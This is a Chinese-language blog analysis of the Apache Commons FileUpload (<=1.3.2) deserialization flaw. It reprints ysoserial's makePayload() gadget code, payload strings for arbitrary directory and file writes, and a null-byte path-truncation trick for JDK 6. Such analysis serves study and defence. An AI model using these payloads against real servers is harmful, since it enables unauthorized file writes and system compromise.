Apache Commons Fileupload 漏洞，可恶意操作文件

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占小狼 2020-12-11 15:09:12

漏洞的来源是在于 DiskFileItem中的 readObject()进行文件写入的操作，这就意味着如果我们对已经序列化的 DiskFileItem对象进行反序列化操作就能够触发 readObject()执行从而触发这个漏洞。

这个漏洞的危害是能够任意写、读文件或者目录。但是具体是对文件还是目录操作与FileUpload以及JDK的版本有关。

不同的漏洞环境能够达到的效果不一样。

FileUpload的1.3.1之前的版本配合JDK1.7之前的版本，能够达到写入任意文件的漏洞;
FileUpload的1.3.1之前的版本配合JDK1.7及其之后的版本，能够向任意目录写入文件;
FileUpload的1.3.1以及之后的版本只能向特定目录写入文件，此目录也必须存在。(文件的的命名也无法控制);

影响范围

commons-fileupload<=1.3.2

下面进行详细地分析

Payload构造

我们首先测试的版本是1.3的版本，JDK是1.8版本，所以这种组合只能达到向任意目录的文件写入的漏洞效果。我们测试的payload是 {"write;cve1000031;123456"}，表示的含义就是向目录 cve1000031中写入 123456的内容。在 ysoserial中最终是由 ysoserial.payloads.FileUpload1::makePayload()来构建payload。代码如下：

private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {    // if thresh < written length, delete outputFile after copying to repository temp file    // otherwise write the contents to repository temp file    File repository = new File(repoPath);    DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);    File outputFile = new File(filePath);    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");    os.write(data);    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);    Reflections.setFieldValue(diskFileItem, "dfos", dfos);    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);    return diskFileItem;}

当我们输入我们的Payload， {"write;cve1000031;123456"},其中的赋值情况是：

Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File

而 thresh的值就是我们需要写入的内容的长度加1，即 len(123456)+1结果就是7。其中还有filePath是 cve1000031/whatever是因为在这个漏洞环境中我们最终是向 cve1000031目录写入，所以后面是什么就没有意义了。最后在代码中还存在几个反序列化的操作：

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);Reflections.setFieldValue(diskFileItem, "dfos", dfos);Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

发序列化的意义是在于我们无法通过 DiskFileItem的示例进行设置，只能通过反射的方式设置，这几个属性也是我们触发漏洞的必要条件。

之后对我们构造的这个进行序列化操作，反序列化之后就会触发DiskFileItem的 readObject()从而触发漏洞。

漏洞分析-1

漏洞环境：FileUpload1.3+ JDK1.7

当对 DiskFileItem的对象进行反序列化操作时，由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()处理。

private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
OutputStream output = getOutputStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = null;
}
output.close();
cachedContent = null;
}

跟进 getOutputStream()，进入到:

public OutputStream getOutputStream()    throws IOException {    if (dfos == null) {        File outputFile = getTempFile();        dfos = new DeferredFileOutputStream(sizeThreshold, outputFile);    }    return dfos;}

由于 dfos==null满足条件，会执行 FileoutputFile=getTempFile();方法。跟踪进入 getTempFile()到中 Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File_02

其中的 tempDir就是我们设置的 repository，即 cve1000031。tmpFileName是由 DiskFileItem是自动生成的。最终和 tempDir组合得到的文件路径就是 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。

最后返回至 readObject()方法中写入文件，如下：

Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File_03

其中的 cachedContent就是我们之前在Payload中设置的 123456。那么Payload的最终的效果就是在 cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中写入了 123456的内容。

Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File_04

漏洞分析-2

由于前面的一个漏洞分析是向任意目录写文件的功能，本次分析的是任意文件写入的功能。本次的漏洞环境是 FileUpload1.3+ JDK1.6。

Payload构造

构造的Payload是 {"writeOld;cve1000031.txt;123456"}。同样会调用 makePayload()构造Payload。

Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File_05

但是其中的 repoPath最后一位是 \0，这个就类似于PHP中的截断，用于截断后面的路径，这样就可以达到任意文件写入的效果。具体的原理说明如下：

JDK7以上在Java的file相关的基础类中都做了空字符的保护，这也是在针对java的string 和 c char的结束方式不一致，在Java中文件的操作中使用String这种char 数组，而C中的char 是以空字符为结束符，所以java操作的文件中很容易通过注入空字符来操作完全不同的文件。比如 JavaFilefile=newFile("/test/test.txt\0.jsp") 看起来再操作 test.txt\0.jsp实际上在底层调用的（本质还是c读写文件）是在操作test.txt。在JDK7以后的版本File 里面会有一个判断是否有空字符的函数

这个意思就是在JDK7之前可以利用 \0进行目录截断，和php在5.3.4版本之前也可以进行目录截断是一样的道理。所以这个任意文件写入为什么要求是JDK7以下的版本才可以的原因。

漏洞的执行流程和前面分析的漏洞流程一样，不同是在 getTempFile()中:

Apache Commons Fileupload 漏洞，可恶意操作文件_Apache Commons File_06

其中 this.tempFile的路径是 cve1000031.txt \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp。由于是在JDK1.6的环境下，后面的 \upload_6982dc32_8ca4_4d7c_b658_0a9b44a60741_00000000.tmp在写入文件时会被忽略，所以最终是向 cve1000031.txt文件中写入内容。

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